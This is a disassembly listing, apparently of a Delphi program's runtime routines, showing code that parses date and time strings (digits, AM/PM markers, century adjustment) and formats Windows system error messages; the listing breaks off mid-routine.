		call	sub_20008C00
		pop	ecx
		jmp	short loc_200093EE
; ---------------------------------------------------------------------------


loc_200093E2:				; CODE XREF: sub_200093B4+21j
		push	ebp
		mov	eax, offset dword_2000940C
		call	sub_20008C00
		pop	ecx


loc_200093EE:				; CODE XREF: sub_200093B4+2Cj
		lea	edx, [ebp+var_100]
		mov	eax, esi
		mov	ecx, [ebp+var_104]
		call	sub_20004098
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_200093B4	endp

; ---------------------------------------------------------------------------
		align 4
dword_2000940C	dd 43h			; DATA XREF: sub_200093B4+2Fo

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20009410	proc near		; CODE XREF: sub_2000C4FC+38p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		xor	edx, edx
		call	sub_200093B4
		pop	ebp
		retn	8
sub_20009410	endp


; =============== S U B	R O U T	I N E =======================================



sub_20009424	proc near		; CODE XREF: sub_20009448+20p
					; sub_200094DC+2Ep ...
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		mov	esi, eax
		mov	ebx, [edi]
		jmp	short loc_20009430
; ---------------------------------------------------------------------------


loc_2000942F:				; CODE XREF: sub_20009424+1Cj
		inc	ebx


loc_20009430:				; CODE XREF: sub_20009424+9j
		mov	eax, esi
		call	sub_20004244
		cmp	ebx, eax
		jg	short loc_20009442
		cmp	byte ptr [esi+ebx-1], 20h
		jz	short loc_2000942F


loc_20009442:				; CODE XREF: sub_20009424+15j
		mov	[edi], ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_20009424	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20009448	proc near		; CODE XREF: sub_200096E4+C2p
					; sub_200096E4+F1p ...

var_9		= byte ptr -9
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], edx
		mov	edi, eax
		mov	[ebp+var_9], 0
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax],	0
		mov	edx, [ebp+var_4]
		mov	eax, edi
		call	sub_20009424
		mov	ebx, [ebp+var_4]
		mov	ebx, [ebx]
		xor	esi, esi
		jmp	short loc_2000948D
; ---------------------------------------------------------------------------


loc_20009476:				; CODE XREF: sub_20009448+5Fj
		mov	eax, esi
		add	eax, eax
		lea	eax, [eax+eax*4]
		xor	edx, edx
		mov	dl, [edi+ebx-1]
		sub	dx, 30h
		add	ax, dx
		mov	esi, eax
		inc	ebx


loc_2000948D:				; CODE XREF: sub_20009448+2Cj
		mov	eax, edi
		call	sub_20004244
		cmp	ebx, eax
		jg	short loc_200094A9
		mov	al, [edi+ebx-1]
		add	al, 0D0h
		sub	al, 0Ah
		jnb	short loc_200094A9
		cmp	si, 3E8h
		jb	short loc_20009476


loc_200094A9:				; CODE XREF: sub_20009448+4Ej
					; sub_20009448+58j
		mov	eax, [ebp+var_4]
		cmp	ebx, [eax]
		jle	short loc_200094CD
		mov	eax, ebx
		mov	edx, [ebp+var_4]
		mov	edx, [edx]
		sub	al, dl
		mov	edx, [ebp+arg_0]
		mov	[edx], al
		mov	eax, [ebp+var_4]
		mov	[eax], ebx
		mov	eax, [ebp+var_8]
		mov	[eax], si
		mov	[ebp+var_9], 1


loc_200094CD:				; CODE XREF: sub_20009448+66j
		mov	al, [ebp+var_9]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_20009448	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_200094DC	proc near		; CODE XREF: sub_20009A28+1Dp
					; sub_20009A28+2Fp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	edi, ecx
		mov	esi, edx
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_20009555
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	ebx, ebx
		test	edi, edi
		jz	short loc_2000953F
		mov	edx, esi
		mov	eax, [ebp+var_4]
		call	sub_20009424
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, edi
		call	sub_20004244
		mov	ecx, eax
		mov	edx, [esi]
		mov	eax, [ebp+var_4]
		call	sub_200044A4
		mov	edx, [ebp+var_8]
		mov	eax, edi
		call	sub_20007074
		test	eax, eax
		jnz	short loc_2000953F
		mov	eax, edi
		call	sub_20004244
		add	[esi], eax
		mov	bl, 1


loc_2000953F:				; CODE XREF: sub_200094DC+27j
					; sub_200094DC+56j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000955C


loc_2000954C:				; CODE XREF: sub_200094DC+7Ej
		lea	eax, [ebp+var_8]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_20009555:				; DATA XREF: sub_200094DC+18o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000954C
; ---------------------------------------------------------------------------


loc_2000955C:				; CODE XREF: sub_200094DC+78j
					; DATA XREF: sub_200094DC+6Bo
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_200094DC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20009568	proc near		; CODE XREF: sub_200096E4+D9p
					; sub_200096E4+108p ...

var_10		= byte ptr -10h

		push	ebx
		push	esi
		push	edi
		push	ecx
		mov	[esp+10h+var_10], cl
		mov	edi, edx
		mov	esi, eax
		xor	ebx, ebx
		mov	edx, edi
		mov	eax, esi
		call	sub_20009424
		mov	eax, esi
		call	sub_20004244
		cmp	eax, [edi]
		jl	short loc_20009598
		mov	eax, [edi]
		mov	al, [esi+eax-1]
		cmp	al, [esp+10h+var_10]
		jnz	short loc_20009598
		inc	dword ptr [edi]
		mov	bl, 1


loc_20009598:				; CODE XREF: sub_20009568+1Fj
					; sub_20009568+2Aj
		mov	eax, ebx
		pop	edx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_20009568	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_200095A0	proc near		; CODE XREF: sub_200096E4+47p
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		xor	ebx, ebx
		mov	edi, 1
		jmp	short loc_200095D7
; ---------------------------------------------------------------------------


loc_200095AE:				; CODE XREF: sub_200095A0+40j
		mov	al, [esi+edi-1]
		and	al, 0DFh
		sub	al, 44h
		jz	short loc_200095D2
		dec	al
		jz	short loc_200095C6
		sub	al, 8
		jz	short loc_200095CE
		sub	al, 0Ch
		jz	short loc_200095CA
		jmp	short loc_200095D6
; ---------------------------------------------------------------------------


loc_200095C6:				; CODE XREF: sub_200095A0+1Aj
		mov	bl, 2
		jmp	short loc_200095E4
; ---------------------------------------------------------------------------


loc_200095CA:				; CODE XREF: sub_200095A0+22j
		mov	bl, 2
		jmp	short loc_200095E4
; ---------------------------------------------------------------------------


loc_200095CE:				; CODE XREF: sub_200095A0+1Ej
		xor	ebx, ebx
		jmp	short loc_200095E4
; ---------------------------------------------------------------------------


loc_200095D2:				; CODE XREF: sub_200095A0+16j
		mov	bl, 1
		jmp	short loc_200095E4
; ---------------------------------------------------------------------------


loc_200095D6:				; CODE XREF: sub_200095A0+24j
		inc	edi


loc_200095D7:				; CODE XREF: sub_200095A0+Cj
		mov	eax, esi
		call	sub_20004244
		cmp	edi, eax
		jle	short loc_200095AE
		xor	ebx, ebx


loc_200095E4:				; CODE XREF: sub_200095A0+28j
					; sub_200095A0+2Cj ...
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_200095A0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_200095EC	proc near		; CODE XREF: sub_200096E4+6Bp
					; sub_200096E4+260p
		push	ebx
		push	esi
		mov	ebx, edx
		mov	esi, eax
		jmp	short loc_20009617
; ---------------------------------------------------------------------------


loc_200095F4:				; CODE XREF: sub_200095EC+40j
		mov	eax, [ebx]
		mov	al, [esi+eax-1]
		and	eax, 0FFh
		bt	ds:dword_2001412C, eax
		jnb	short loc_20009615
		mov	edx, [ebx]
		mov	eax, esi
		call	sub_2000B000
		mov	[ebx], eax
		jmp	short loc_20009617
; ---------------------------------------------------------------------------


loc_20009615:				; CODE XREF: sub_200095EC+1Aj
		inc	dword ptr [ebx]


loc_20009617:				; CODE XREF: sub_200095EC+6j
					; sub_200095EC+27j
		mov	eax, esi
		call	sub_20004244
		cmp	eax, [ebx]
		jl	short loc_2000962E
		mov	eax, [ebx]
		mov	al, [esi+eax-1]
		add	al, 0D0h
		sub	al, 0Ah
		jnb	short loc_200095F4


loc_2000962E:				; CODE XREF: sub_200095EC+34j
		pop	esi
		pop	ebx
		retn
sub_200095EC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20009634	proc near		; CODE XREF: sub_200096E4+91p

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	ebp, eax
		xor	eax, eax
		mov	[esp+14h+var_14], eax
		mov	edi, 7
		mov	ebx, offset dword_20015764
		mov	esi, offset dword_20015780


loc_2000964F:				; CODE XREF: sub_20009634+47j
		cmp	dword ptr [ebx], 0
		jz	short loc_2000967D
		mov	eax, ebp
		call	sub_20004444
		push	eax
		mov	eax, [ebx]
		call	sub_20004444
		pop	edx
		call	sub_2000B074
		test	eax, eax
		jz	short loc_20009674
		mov	eax, [esi]
		mov	[esp+14h+var_14], eax
		jmp	short loc_2000967D
; ---------------------------------------------------------------------------


loc_20009674:				; CODE XREF: sub_20009634+37j
		add	esi, 4
		add	ebx, 4
		dec	edi
		jnz	short loc_2000964F


loc_2000967D:				; CODE XREF: sub_20009634+1Ej
					; sub_20009634+3Ej
		mov	eax, [esp+14h+var_14]
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_20009634	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20009688	proc near		; CODE XREF: sub_200096E4+198p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, eax
		cmp	ds:dword_20015758, 12h
		jnz	short loc_200096D1
		cmp	ebx, 63h
		jg	short loc_200096C0
		call	sub_20008828
		movzx	ecx, ax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax-4]
		cdq
		xor	eax, edx
		sub	eax, edx
		add	ecx, eax
		mov	eax, ecx
		mov	ecx, 64h
		cdq
		idiv	ecx
		imul	eax, 64h
		add	ebx, eax


loc_200096C0:				; CODE XREF: sub_20009688+12j
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax-4], 0
		jle	short loc_200096D7
		mov	eax, [ebp+arg_0]
		neg	dword ptr [eax-4]
		jmp	short loc_200096D7
; ---------------------------------------------------------------------------


loc_200096D1:				; CODE XREF: sub_20009688+Dj
		mov	eax, [ebp+arg_0]
		dec	dword ptr [eax-4]


loc_200096D7:				; CODE XREF: sub_20009688+3Fj
					; sub_20009688+47j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax-4]
		add	eax, ebx
		pop	ebx
		pop	ebp
		retn
sub_20009688	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_200096E4	proc near		; CODE XREF: sub_20009C50+25p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= word ptr -0Ch
var_A		= byte ptr -0Ah
var_9		= byte ptr -9
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	[ebp+var_28], ebx
		mov	[ebp+var_24], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_8], ecx
		mov	ebx, edx
		mov	esi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_200099FF
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	edi, edi
		mov	[ebp+var_12], 0
		mov	[ebp+var_14], 0
		mov	[ebp+var_18], 0
		mov	[ebp+var_9], 0
		mov	eax, ds:dword_200156A0
		call	sub_200095A0
		mov	[ebp+var_A], al
		xor	eax, eax
		mov	[ebp+var_4], eax
		cmp	ds:dword_200156A0, 0
		jz	short loc_2000977F
		mov	eax, ds:dword_200156A0
		cmp	byte ptr [eax],	67h
		jnz	short loc_2000977F
		mov	edx, ebx
		mov	eax, esi
		call	sub_200095EC
		lea	eax, [ebp+var_20]
		push	eax
		mov	ecx, [ebx]
		dec	ecx
		mov	edx, 1
		mov	eax, esi
		call	sub_200044A4
		mov	eax, [ebp+var_20]
		lea	edx, [ebp+var_1C]
		call	sub_200070C4
		mov	eax, [ebp+var_1C]
		call	sub_20009634
		mov	[ebp+var_4], eax
		jmp	short loc_2000979B
; ---------------------------------------------------------------------------


loc_2000977F:				; CODE XREF: sub_200096E4+5Bj
					; sub_200096E4+65j
		mov	edx, ds:dword_200156A0
		mov	eax, offset dword_20009A18
		call	sub_2000B03C
		test	eax, eax
		jle	short loc_2000979B
		mov	eax, ds:dword_20015780
		mov	[ebp+var_4], eax


loc_2000979B:				; CODE XREF: sub_200096E4+99j
					; sub_200096E4+ADj
		lea	eax, [ebp+var_15]
		push	eax
		lea	ecx, [ebp+var_C]
		mov	edx, ebx
		mov	eax, esi
		call	sub_20009448
		test	al, al
		jz	loc_200099E4
		mov	edx, ebx
		mov	cl, ds:byte_2001569D
		mov	eax, esi
		call	sub_20009568
		test	al, al
		jz	loc_200099E4
		lea	eax, [ebp+var_16]
		push	eax
		lea	ecx, [ebp+var_E]
		mov	edx, ebx
		mov	eax, esi
		call	sub_20009448
		test	al, al
		jz	loc_200099E4
		mov	edx, ebx
		mov	cl, ds:byte_2001569D
		mov	eax, esi
		call	sub_20009568
		test	al, al
		jz	loc_200098C7
		lea	eax, [ebp+var_17]
		push	eax
		lea	ecx, [ebp+var_10]
		mov	edx, ebx
		mov	eax, esi
		call	sub_20009448
		test	al, al
		jz	loc_200099E4
		mov	al, [ebp+var_A]
		sub	al, 1
		jb	short loc_20009820
		jz	short loc_2000983C
		dec	al
		jz	short loc_20009858
		jmp	short loc_20009872
; ---------------------------------------------------------------------------


loc_20009820:				; CODE XREF: sub_200096E4+132j
		mov	di, [ebp+var_10]
		mov	al, [ebp+var_17]
		mov	[ebp+var_18], al
		mov	ax, [ebp+var_C]
		mov	[ebp+var_12], ax
		mov	ax, [ebp+var_E]
		mov	[ebp+var_14], ax
		jmp	short loc_20009872
; ---------------------------------------------------------------------------


loc_2000983C:				; CODE XREF: sub_200096E4+134j
		mov	di, [ebp+var_10]
		mov	al, [ebp+var_17]
		mov	[ebp+var_18], al
		mov	ax, [ebp+var_E]
		mov	[ebp+var_12], ax
		mov	ax, [ebp+var_C]
		mov	[ebp+var_14], ax
		jmp	short loc_20009872
; ---------------------------------------------------------------------------


loc_20009858:				; CODE XREF: sub_200096E4+138j
		mov	di, [ebp+var_C]
		mov	al, [ebp+var_15]
		mov	[ebp+var_18], al
		mov	ax, [ebp+var_E]
		mov	[ebp+var_12], ax
		mov	ax, [ebp+var_10]
		mov	[ebp+var_14], ax


loc_20009872:				; CODE XREF: sub_200096E4+13Aj
					; sub_200096E4+156j ...
		cmp	[ebp+var_4], 0
		jle	short loc_20009886
		push	ebp
		movzx	eax, di
		call	sub_20009688
		pop	ecx
		mov	edi, eax
		jmp	short loc_200098F6
; ---------------------------------------------------------------------------


loc_20009886:				; CODE XREF: sub_200096E4+192j
		cmp	[ebp+var_18], 2
		ja	short loc_200098F6
		call	sub_20008828
		movzx	ecx, ax
		movzx	eax, ds:word_200140F8
		sub	ecx, eax
		mov	eax, ecx
		push	ecx
		mov	ecx, 64h
		cdq
		idiv	ecx
		pop	ecx
		imul	ax, 64h
		add	di, ax
		cmp	ds:word_200140F8, 0
		jbe	short loc_200098F6
		movzx	eax, di
		cmp	ecx, eax
		jle	short loc_200098F6
		add	di, 64h
		jmp	short loc_200098F6
; ---------------------------------------------------------------------------


loc_200098C7:				; CODE XREF: sub_200096E4+10Fj
		call	sub_20008828
		mov	edi, eax
		cmp	[ebp+var_A], 1
		jnz	short loc_200098E6
		mov	ax, [ebp+var_C]
		mov	[ebp+var_14], ax
		mov	ax, [ebp+var_E]
		mov	[ebp+var_12], ax
		jmp	short loc_200098F6
; ---------------------------------------------------------------------------


loc_200098E6:				; CODE XREF: sub_200096E4+1EEj
		mov	ax, [ebp+var_C]
		mov	[ebp+var_12], ax
		mov	ax, [ebp+var_E]
		mov	[ebp+var_14], ax


loc_200098F6:				; CODE XREF: sub_200096E4+1A0j
					; sub_200096E4+1A6j ...
		mov	edx, ebx
		mov	cl, ds:byte_2001569D
		mov	eax, esi
		call	sub_20009568
		mov	edx, ebx
		mov	eax, esi
		call	sub_20009424
		cmp	byte ptr ds:dword_20015760, 0
		jz	loc_200099CE
		mov	edx, ds:dword_200156A0
		mov	eax, offset dword_20009A24
		call	sub_20004588
		test	eax, eax
		jz	loc_200099CE
		mov	eax, ds:dword_200156B4
		mov	al, [eax]
		add	al, 0D0h
		sub	al, 0Ah
		jnb	short loc_20009952
		mov	edx, ebx
		mov	eax, esi
		call	sub_200095EC
		jmp	loc_200099CE
; ---------------------------------------------------------------------------
		jmp	short loc_20009952
; ---------------------------------------------------------------------------


loc_20009950:				; CODE XREF: sub_200096E4+280j
		inc	dword ptr [ebx]


loc_20009952:				; CODE XREF: sub_200096E4+25Aj
					; sub_200096E4+26Aj ...
		mov	eax, esi
		call	sub_20004244
		cmp	eax, [ebx]
		jl	short loc_20009966
		mov	eax, [ebx]
		cmp	byte ptr [esi+eax-1], 20h
		jnz	short loc_20009950


loc_20009966:				; CODE XREF: sub_200096E4+277j
		mov	edx, ebx
		mov	eax, esi
		call	sub_20009424
		mov	eax, esi
		call	sub_20004244
		cmp	eax, [ebx]
		jl	short loc_200099CE
		lea	eax, [ebp+var_24]
		push	eax
		mov	eax, ds:dword_200156AC
		call	sub_20004244
		mov	ecx, eax
		mov	edx, [ebx]
		mov	eax, esi
		call	sub_200044A4
		mov	edx, [ebp+var_24]
		mov	eax, ds:dword_200156AC
		call	sub_20007074
		test	eax, eax
		jz	short loc_200099CE
		lea	eax, [ebp+var_28]
		push	eax
		mov	eax, ds:dword_200156B0
		call	sub_20004244
		mov	ecx, eax
		mov	edx, [ebx]
		mov	eax, esi
		call	sub_200044A4
		mov	edx, [ebp+var_28]
		mov	eax, ds:dword_200156B0
		call	sub_20007074
		test	eax, eax
		jnz	short loc_20009952


loc_200099CE:				; CODE XREF: sub_200096E4+231j
					; sub_200096E4+249j ...
		mov	eax, [ebp+var_8]
		push	eax
		mov	cx, [ebp+var_14]
		mov	dx, [ebp+var_12]
		mov	eax, edi
		call	sub_200085CC
		mov	[ebp+var_9], al


loc_200099E4:				; CODE XREF: sub_200096E4+C9j
					; sub_200096E4+E0j ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20009A06


loc_200099F1:				; CODE XREF: sub_200096E4+320j
		lea	eax, [ebp+var_28]
		mov	edx, 4
		call	sub_20003FCC
		retn
; ---------------------------------------------------------------------------


loc_200099FF:				; DATA XREF: sub_200096E4+21o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_200099F1
; ---------------------------------------------------------------------------


loc_20009A06:				; CODE XREF: sub_200096E4+31Aj
					; DATA XREF: sub_200096E4+308o
		mov	al, [ebp+var_9]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_200096E4	endp

; ---------------------------------------------------------------------------
		dd 0FFFFFFFFh, 1
dword_20009A18	dd 65h,	0FFFFFFFFh, 3	; DATA XREF: sub_200096E4+A1o
dword_20009A24	dd 646464h		; DATA XREF: sub_200096E4+23Do

; =============== S U B	R O U T	I N E =======================================



sub_20009A28	proc near		; CODE XREF: sub_20009C1C+14p
					; sub_20009C50+42p

var_20		= dword	ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= byte ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF0h
		mov	[esp+20h+var_20], ecx
		mov	esi, edx
		mov	ebp, eax
		xor	ebx, ebx
		or	edi, 0FFFFFFFFh
		mov	edx, esi
		mov	ecx, ds:dword_200156AC
		mov	eax, ebp
		call	sub_200094DC
		test	al, al
		jnz	short loc_20009A60
		mov	edx, esi
		mov	ecx, offset dword_20009C0C
		mov	eax, ebp
		call	sub_200094DC
		test	al, al
		jz	short loc_20009A64


loc_20009A60:				; CODE XREF: sub_20009A28+24j
		xor	edi, edi
		jmp	short loc_20009A8E
; ---------------------------------------------------------------------------


loc_20009A64:				; CODE XREF: sub_20009A28+36j
		mov	edx, esi
		mov	ecx, ds:dword_200156B0
		mov	eax, ebp
		call	sub_200094DC
		test	al, al
		jnz	short loc_20009A89
		mov	edx, esi
		mov	ecx, offset dword_20009C18
		mov	eax, ebp
		call	sub_200094DC
		test	al, al
		jz	short loc_20009A8E


loc_20009A89:				; CODE XREF: sub_20009A28+4Dj
		mov	edi, 0Ch


loc_20009A8E:				; CODE XREF: sub_20009A28+3Aj
					; sub_20009A28+5Fj
		test	edi, edi
		jl	short loc_20009A9B
		mov	edx, esi
		mov	eax, ebp
		call	sub_20009424


loc_20009A9B:				; CODE XREF: sub_20009A28+68j
		lea	eax, [esp+20h+var_14]
		push	eax
		lea	ecx, [esp+24h+var_1C]
		mov	edx, esi
		mov	eax, ebp
		call	sub_20009448
		test	al, al
		jz	loc_20009BFA
		mov	[esp+20h+var_1A], 0
		mov	[esp+20h+var_18], 0
		mov	[esp+20h+var_16], 0
		mov	edx, esi
		mov	cl, ds:byte_200156A8
		mov	eax, ebp
		call	sub_20009568
		test	al, al
		jz	short loc_20009B51
		lea	eax, [esp+20h+var_14]
		push	eax
		lea	ecx, [esp+24h+var_1A]
		mov	edx, esi
		mov	eax, ebp
		call	sub_20009448
		test	al, al
		jz	loc_20009BFA
		mov	edx, esi
		mov	cl, ds:byte_200156A8
		mov	eax, ebp
		call	sub_20009568
		test	al, al
		jz	short loc_20009B51
		lea	eax, [esp+20h+var_14]
		push	eax
		lea	ecx, [esp+24h+var_18]
		mov	edx, esi
		mov	eax, ebp
		call	sub_20009448
		test	al, al
		jz	loc_20009BFA
		mov	edx, esi
		mov	cl, ds:byte_2001569B
		mov	eax, ebp
		call	sub_20009568
		test	al, al
		jz	short loc_20009B51
		lea	eax, [esp+20h+var_14]
		push	eax
		lea	ecx, [esp+24h+var_16]
		mov	edx, esi
		mov	eax, ebp
		call	sub_20009448
		test	al, al
		jz	loc_20009BFA


loc_20009B51:				; CODE XREF: sub_20009A28+B3j
					; sub_20009A28+E0j ...
		test	edi, edi
		jge	short loc_20009BA8
		mov	edx, esi
		mov	ecx, ds:dword_200156AC
		mov	eax, ebp
		call	sub_200094DC
		test	al, al
		jnz	short loc_20009B7A
		mov	edx, esi
		mov	ecx, offset dword_20009C0C
		mov	eax, ebp
		call	sub_200094DC
		test	al, al
		jz	short loc_20009B7E


loc_20009B7A:				; CODE XREF: sub_20009A28+13Ej
		xor	edi, edi
		jmp	short loc_20009BA8
; ---------------------------------------------------------------------------


loc_20009B7E:				; CODE XREF: sub_20009A28+150j
		mov	edx, esi
		mov	ecx, ds:dword_200156B0
		mov	eax, ebp
		call	sub_200094DC
		test	al, al
		jnz	short loc_20009BA3
		mov	edx, esi
		mov	ecx, offset dword_20009C18
		mov	eax, ebp
		call	sub_200094DC
		test	al, al
		jz	short loc_20009BA8


loc_20009BA3:				; CODE XREF: sub_20009A28+167j
		mov	edi, 0Ch


loc_20009BA8:				; CODE XREF: sub_20009A28+12Bj
					; sub_20009A28+154j ...
		test	edi, edi
		jl	short loc_20009BD0
		cmp	[esp+20h+var_1C], 0
		jz	short loc_20009BFA
		cmp	[esp+20h+var_1C], 0Ch
		ja	short loc_20009BFA
		cmp	[esp+20h+var_1C], 0Ch
		jnz	short loc_20009BCB
		mov	[esp+20h+var_1C], 0


loc_20009BCB:				; CODE XREF: sub_20009A28+19Aj
		add	[esp+20h+var_1C], di


loc_20009BD0:				; CODE XREF: sub_20009A28+182j
		mov	edx, esi
		mov	eax, ebp
		call	sub_20009424
		mov	ax, [esp+20h+var_16]
		push	eax
		mov	eax, [esp+24h+var_20]
		push	eax
		mov	cx, [esp+28h+var_18]
		mov	dx, [esp+28h+var_1A]
		mov	ax, [esp+28h+var_1C]
		call	sub_200084C4
		mov	ebx, eax


loc_20009BFA:				; CODE XREF: sub_20009A28+87j
					; sub_20009A28+C9j ...
		mov	eax, ebx
		add	esp, 10h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_20009A28	endp

; ---------------------------------------------------------------------------
		dd 0FFFFFFFFh, 2
dword_20009C0C	dd 4D41h, 0FFFFFFFFh, 2	; DATA XREF: sub_20009A28+28o
					; sub_20009A28+142o
dword_20009C18	dd 4D50h		; DATA XREF: sub_20009A28+51o
					; sub_20009A28+16Bo

; =============== S U B	R O U T	I N E =======================================



sub_20009C1C	proc near		; CODE XREF: sub_20009C50+4Fp

var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		push	ecx
		mov	esi, edx
		mov	ebx, eax
		mov	[esp+0Ch+var_C], 1
		mov	ecx, esi
		mov	edx, esp
		mov	eax, ebx
		call	sub_20009A28
		test	al, al
		jz	short loc_20009C45
		mov	eax, ebx
		call	sub_20004244
		cmp	eax, [esp+0Ch+var_C]
		jl	short loc_20009C49


loc_20009C45:				; CODE XREF: sub_20009C1C+1Bj
		xor	eax, eax
		jmp	short loc_20009C4B
; ---------------------------------------------------------------------------


loc_20009C49:				; CODE XREF: sub_20009C1C+27j
		mov	al, 1


loc_20009C4B:				; CODE XREF: sub_20009C1C+2Bj
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_20009C1C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_20009C50	proc near		; CODE XREF: sub_2000C334+35p

var_24		= dword	ptr -24h
var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFE8h
		mov	edi, edx
		mov	esi, eax
		mov	bl, 1
		mov	[esp+24h+var_24], 1
		xor	eax, eax
		mov	dword ptr [esp+24h+var_14], eax
		mov	dword ptr [esp+24h+var_14+4], eax
		lea	ecx, [esp+24h+var_1C]
		mov	edx, esp
		mov	eax, esi
		call	sub_200096E4
		test	al, al
		jz	short loc_20009C9B
		mov	eax, esi
		call	sub_20004244
		cmp	eax, [esp+24h+var_24]
		jl	short loc_20009CA8
		lea	ecx, [esp+24h+var_14]
		mov	edx, esp
		mov	eax, esi
		call	sub_20009A28
		test	al, al
		jnz	short loc_20009CA8


loc_20009C9B:				; CODE XREF: sub_20009C50+2Cj
		mov	edx, edi
		mov	eax, esi
		call	sub_20009C1C
		mov	ebx, eax
		jmp	short loc_20009CCF
; ---------------------------------------------------------------------------


loc_20009CA8:				; CODE XREF: sub_20009C50+38j
					; sub_20009C50+49j
		fld	[esp+24h+var_1C]
		fcomp	flt_20009CD8
		fnstsw	ax
		sahf
		jb	short loc_20009CC4
		fld	[esp+24h+var_1C]
		fadd	[esp+24h+var_14]
		fstp	qword ptr [edi]
		wait
		jmp	short loc_20009CCF
; ---------------------------------------------------------------------------


loc_20009CC4:				; CODE XREF: sub_20009C50+65j
		fld	[esp+24h+var_1C]
		fsub	[esp+24h+var_14]
		fstp	qword ptr [edi]
		wait


loc_20009CCF:				; CODE XREF: sub_20009C50+56j
					; sub_20009C50+72j
		mov	eax, ebx
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_20009C50	endp

; ---------------------------------------------------------------------------
flt_20009CD8	dd 0.0			; DATA XREF: sub_20009C50+5Cr

; =============== S U B	R O U T	I N E =======================================



sub_20009CDC	proc near		; CODE XREF: sub_2000B75C+31p
					; sub_2000D184+1E7p ...

var_106		= byte ptr -106h
Buffer		= byte ptr -104h

		push	ebx
		add	esp, 0FFFFFF00h
		mov	ebx, edx
		push	0		; Arguments
		push	100h		; nSize
		lea	edx, [esp+10Ch+Buffer]
		push	edx		; lpBuffer
		push	0		; dwLanguageId
		push	eax		; dwMessageId
		push	0		; lpSource
		push	3200h		; dwFlags
		call	FormatMessageA
		jmp	short loc_20009D03
; ---------------------------------------------------------------------------


loc_20009D02:				; CODE XREF: sub_20009CDC+32j
					; sub_20009CDC+37j
		dec	eax


loc_20009D03:				; CODE XREF: sub_20009CDC+24j
		test	eax, eax
		jle	short loc_20009D15
		mov	dl, [esp+eax-1]
		sub	dl, 21h
		jb	short loc_20009D02
